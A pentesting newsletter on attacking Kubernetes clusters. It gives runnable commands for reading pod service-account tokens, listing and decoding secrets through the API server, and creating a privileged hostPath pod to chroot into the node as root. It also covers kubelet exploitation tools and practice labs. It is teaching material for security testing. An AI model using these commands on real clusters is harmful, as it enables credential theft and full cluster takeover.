Kubernetes for Pentesters: Breaking Orchestrated Infrastructure from Zero
12 min read
January 18, 2026

Table of contents
👋 Introduction
Hey everyone!
I’ve been wanting to write about Kubernetes security for a while now. A few months ago I covered Docker container escapes, and Kubernetes is the natural next step when you start thinking about production container environments.
I started a Docker Security series on the blog, but honestly, I don’t know when I’ll get around to finishing it. Life gets in the way, other projects take priority, and before you know it, months have passed. So instead of waiting indefinitely to write a comprehensive blog series, I’m giving you the essentials in this newsletter.
If you’ve broken out of Docker containers and wondered what happens in production environments where Kubernetes manages hundreds of pods across multiple nodes, this is your crash course.
Docker escapes are about breaking out of a single container to reach the host. Kubernetes attacks are about compromising one pod to gain access to the entire cluster infrastructure. Other pods, secrets, API server credentials, persistent volumes, and ultimately the underlying nodes. The attack surface is massive, and the barrier to entry is lower than you’d think.
This newsletter covers Kubernetes fundamentals for pentesters, detecting when you’re in a pod, service account tokens (automatic credentials in every pod), RBAC misconfigurations and privilege escalation paths, and essential tools and labs to practice these attacks.
Let’s break some clusters 👇
☸️ Kubernetes 101 for Pentesters
Before we exploit anything, let’s understand what Kubernetes is and why it exists.
Kubernetes (K8s) is a container orchestration platform. It manages containers across multiple machines, handles networking between them, distributes workloads, and restarts failed containers automatically. Docker runs one container on one machine. Kubernetes runs thousands of containers across hundreds of machines with automatic scaling, load balancing, and self-healing.
For pentesters, this means credentials are everywhere (every pod gets automatic API access via service account tokens), networking is shared (pods can communicate across the cluster by default), secrets are centralized (Kubernetes stores sensitive data in a single location), and privilege escalation is common (RBAC misconfigurations grant excessive permissions).
Breaking one pod can give you access to the entire cluster.
Kubernetes Architecture (Attack Surface Map)
Kubernetes clusters have two types of machines.
Control Plane nodes manage the cluster. The API Server is the central control point for everything. Every kubectl command, every pod creation, every secret access goes through the API server. This is your primary target. etcd is the distributed key-value database storing all cluster data including secrets, configurations, and state. Compromising etcd means full cluster compromise. The Scheduler decides which node runs which pod, and the Controller Manager ensures desired state matches actual state.
Worker Nodes run your actual workloads (pods). The kubelet is an agent on each node that manages containers and exposes an API, often unauthenticated. Direct kubelet access means node compromise. kube-proxy handles networking and load balancing. The Container Runtime (Docker, containerd, or CRI-O) runs the actual containers.
From an attacker perspective, the path looks like this:
Pod Compromise → Service Account Token → API Server Access → RBAC Enumeration →
Privilege Escalation → Create Privileged Pod → Node Access → etcd Access →
Full Cluster Compromise
The path from “I have RCE in a web app running in a pod” to “I control the entire Kubernetes cluster” is shorter than you’d think.
Key Kubernetes Concepts
Pod is the smallest deployable unit. It can contain one or more containers. Think of it as a wrapper around your Docker container(s).
Namespace provides logical isolation within a cluster. Resources in namespace-a are separated from namespace-b, but this is NOT a security boundary. RBAC controls access, not namespaces.
Service exposes pods to network traffic (ClusterIP, NodePort, LoadBalancer) and handles internal DNS and load balancing.
Secret is a Kubernetes object for storing sensitive data like passwords, tokens, and keys. Secrets are stored in etcd and are base64 encoded (not encrypted) by default unless you enable encryption at rest.
ConfigMap is similar to Secrets but for non-sensitive configuration. It often contains database hostnames, API endpoints, etc.
RBAC (Role-Based Access Control) defines who can do what in the cluster. This is where most privilege escalation happens.
Service Account provides identity for pods. Every pod automatically gets a service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/. This is your credential for talking to the API server.
In Kubernetes, the primary attack vector shifts from kernel exploitation to API abuse and RBAC privilege escalation. Privileged containers still work, but you need RBAC permissions to create them. Host PID namespace access requires hostPID: true in the pod spec. Kernel exploits like Dirty Pipe still work, but you need node access first.
🎯 Why Kubernetes Security Matters
When you compromise a container in a traditional environment, you’re limited to that container and potentially the host it’s running on. When you compromise a pod in Kubernetes, the situation is different.
Every pod gets a service account token by default. This token can often list other pods in the namespace, read secrets, access ConfigMaps, and create new pods if RBAC is misconfigured. Kubernetes networking is flat by default. Unless Network Policies are configured (and they usually aren’t), you can reach any other pod in any namespace, access internal services like databases and message queues, and pivot to other applications running in the cluster.
Kubernetes stores secrets centrally in etcd. If your service account has secrets:get permission, you can access database passwords, API keys for third-party services, cloud provider credentials (AWS, GCP, Azure), and SSH keys, certificates, and tokens.
Kubernetes nodes run on cloud instances (AWS EC2, GCP Compute Engine, Azure VMs). If you can reach the node or exploit the kubelet API, you can perform SSRF to the cloud metadata service at 169.254.169.254, steal cloud IAM credentials, and pivot to the entire cloud account.
Unlike ephemeral containers, Kubernetes makes persistence easy. You can create a new pod with a backdoor, modify existing deployments, add malicious init containers, or deploy DaemonSets that run on every node.
The common pattern in real-world incidents is Kubernetes misconfigurations (unauthenticated APIs, overly permissive RBAC, exposed secrets) leading to full infrastructure compromise. The Tesla cryptomining incident, for example, started with an unauthenticated Kubernetes dashboard and ended with cloud credential theft and cryptominers deployed across the entire cluster.
🔍 Detecting You’re in a Kubernetes Pod
First step is figuring out if you’re in a Kubernetes-managed container versus a standalone Docker container.
Every Kubernetes pod automatically mounts service account credentials at /var/run/secrets/kubernetes.io/serviceaccount/. If this directory exists, you’re in a Kubernetes pod.
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
The directory contains three files. token is the JWT token for authenticating to the API server. ca.crt is the certificate authority for verifying API server TLS. namespace contains the namespace this pod is running in.
Kubernetes automatically injects environment variables for service discovery. The presence of KUBERNETES_SERVICE_HOST confirms you’re in a pod.
env | grep KUBERNETES
You’ll see variables like KUBERNETES_SERVICE_HOST=10.96.0.1 and KUBERNETES_SERVICE_PORT=443.
You can also check the cgroup path for kubepods:
cat /proc/1/cgroup | grep kubepods
Kubernetes pod hostnames follow a predictable pattern like webapp-deployment-7d8f9c4b5-xk9pl with the format {deployment-name}-{replicaset-hash}-{pod-hash}.
Once you’ve confirmed you’re in a Kubernetes pod, gather initial information. Check your namespace, pod hostname, environment variables (they may leak internal service names), whether kubectl is installed, and test network connectivity to the API server.
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
hostname
env
which kubectl
curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/version
🔑 Service Account Tokens Are Your First Credential
Every Kubernetes pod gets a service account token automatically mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. This JWT token is your credential for talking to the API server.
By default, pods use the default service account in their namespace. This account should have minimal permissions, but developers often grant it excessive access for convenience.
Querying the API Server
Setup your environment variables first:
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
Test API access by listing pods:
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
Enumerating Permissions
The first thing you want to know is what this service account can do. If kubectl is installed in the pod, you can use it directly:
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
Without kubectl, you need to try different API endpoints with curl. Try listing secrets in your namespace, checking for cluster-wide pod access, or attempting to create resources.
# List secrets
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets
# Check cluster-wide access
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/pods
High-value permissions to look for include secrets:get/list for reading passwords, API keys, and cloud credentials. pods:create allows you to create new pods, which is a direct privilege escalation path. pods:exec lets you execute commands in other pods. *:* means full cluster admin access.
Stealing Secrets
If you have secrets:list, secrets are base64-encoded but not encrypted. You can retrieve them via the API and decode them locally.
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets/database-credentials | jq '.data'
Decode with echo "YWRtaW4=" | base64 -d to reveal the plaintext value.
According to the NSA/CISA Kubernetes Hardening Guide, service accounts are a common source of over-privileged access. In practice, the default service account often has cluster-wide read access, and legacy applications may have full admin tokens.
🔐 RBAC and Privilege Escalation
RBAC (Role-Based Access Control) defines who can do what in Kubernetes. Misconfigurations here are the primary path to privilege escalation.
Role defines permissions scoped to a specific namespace. ClusterRole defines permissions scoped to the entire cluster. RoleBinding assigns a Role to users or service accounts within a namespace. ClusterRoleBinding assigns a ClusterRole across all namespaces.
Common Misconfigurations
The most dangerous misconfiguration is granting cluster-admin to the default service account. This gives full cluster access from any pod in that namespace.
Wildcard permissions are equally problematic. Rules with apiGroups: ["*"], resources: ["*"], and verbs: ["*"] grant unrestricted admin access.
The most interesting misconfiguration for attackers is having pods:create permission. If you have this, you can create a privileged pod with host access.
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: privesc-pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: privesc
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
command: ["/bin/bash", "-c", "sleep 3600"]
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
Then execute into it and chroot to gain root access on the underlying node:
kubectl exec -it privesc-pod -- /bin/bash
chroot /host
ClusterRoleBindings that grant secrets:get across all namespaces give you access to every credential in the cluster.
Enumeration
Check what permissions you have:
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
List roles and bindings to understand the RBAC structure:
kubectl get roles,rolebindings
kubectl get clusterroles,clusterrolebindings
According to the Microsoft Kubernetes Threat Matrix, the typical escalation path follows this sequence: RCE in pod, service account enumeration, steal secrets (if you have secrets:get), create privileged pod (if you have pods:create), gain node access, and finally achieve cluster admin.
🛠️ Essential Tools for Kubernetes Pentesting
kubectl
kubectl is the official Kubernetes CLI. If it’s already installed in the pod, you’re in luck. It will use your service account token automatically.
kubectl auth can-i --list
kubectl get pods
kubectl get secrets
You can create a privileged pod for node access with a long one-liner using --overrides:
kubectl run privesc --image=ubuntu --restart=Never \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"privesc","image":"ubuntu","command":["/bin/bash","-c","sleep 3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"host","mountPath":"/host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/","type":"Directory"}}]}}'
If kubectl isn’t installed, you can download the static binary from the official Kubernetes release page.
kubeletctl
kubeletctl by CyberArk exploits the kubelet API. The kubelet runs on each worker node (port 10250). If it’s unauthenticated or weakly authenticated, you can list pods running on the node and execute commands in any pod on that node.
# Scan for kubelet API
./kubeletctl_linux_amd64 scan --cidr 10.0.0.0/24
# Execute command in a pod
./kubeletctl_linux_amd64 exec -s 10.0.1.5 -p nginx-pod -c nginx -- /bin/bash
kube-hunter
kube-hunter by Aqua Security performs automated vulnerability scanning. It looks for open kubelet APIs, exposed dashboards, privilege escalation paths, and insecure configurations.
docker run -it --rm --network host aquasec/kube-hunter --pod
peirates
peirates is an interactive Kubernetes pentesting framework with service account enumeration, RBAC escalation, and secret stealing capabilities.
kubectl-who-can
kubectl-who-can enumerates RBAC permissions:
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces
🎓 Hands-On Labs and Practice
The best place to start is Kubernetes Goat by OWASP. It provides 20+ vulnerable scenarios covering RBAC, secrets, container escapes, and privilege escalation.
git clone https://github.com/madhuakula/kubernetes-goat
cd kubernetes-goat
bash setup-kubernetes-goat.sh
KubeHound by DataDog is an attack path mapping tool similar to BloodHound but for Kubernetes. It automatically calculates attack paths between assets in a cluster using graph theory.
For CTF-style practice, HackTheBox has confirmed Kubernetes machines. SteamCloud is an easy box with kubelet exploitation and service account token abuse. Unobtainium is a hard box featuring Kubernetes RBAC exploitation and pod escape techniques.
Free playgrounds include Killercoda with interactive K8s labs in your browser, and Play with Kubernetes which provides a free 4-hour K8s cluster.
🎯 Wrapping Up
This newsletter covered the fundamentals of Kubernetes security from an offensive perspective. Service accounts give you automatic credentials in every pod. RBAC misconfigurations are the primary privilege escalation path. The kubelet API is often unauthenticated. And one compromised pod can lead to full cluster compromise.
What you should practice: detecting when you’re in a K8s pod by checking /var/run/secrets/kubernetes.io/serviceaccount/, enumerating permissions with kubectl auth can-i --list, stealing secrets if you have secrets:get, creating privileged pods if you have pods:create, and exploiting unauthenticated kubelet APIs.
Start with Kubernetes Goat, read the NSA/CISA Kubernetes Hardening Guide, and try a HackTheBox machine with Kubernetes.
💬 New: Comments Section!
Quick announcement: I’ve just added a comments section to all blog posts and newsletters using Giscus. You can now drop your thoughts, questions, or feedback directly below each post.
Found a bug in the site? Have a suggestion? Want to discuss Kubernetes attack paths? The comments are now live. Try it out below 👇
See you in the next issue 👋
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.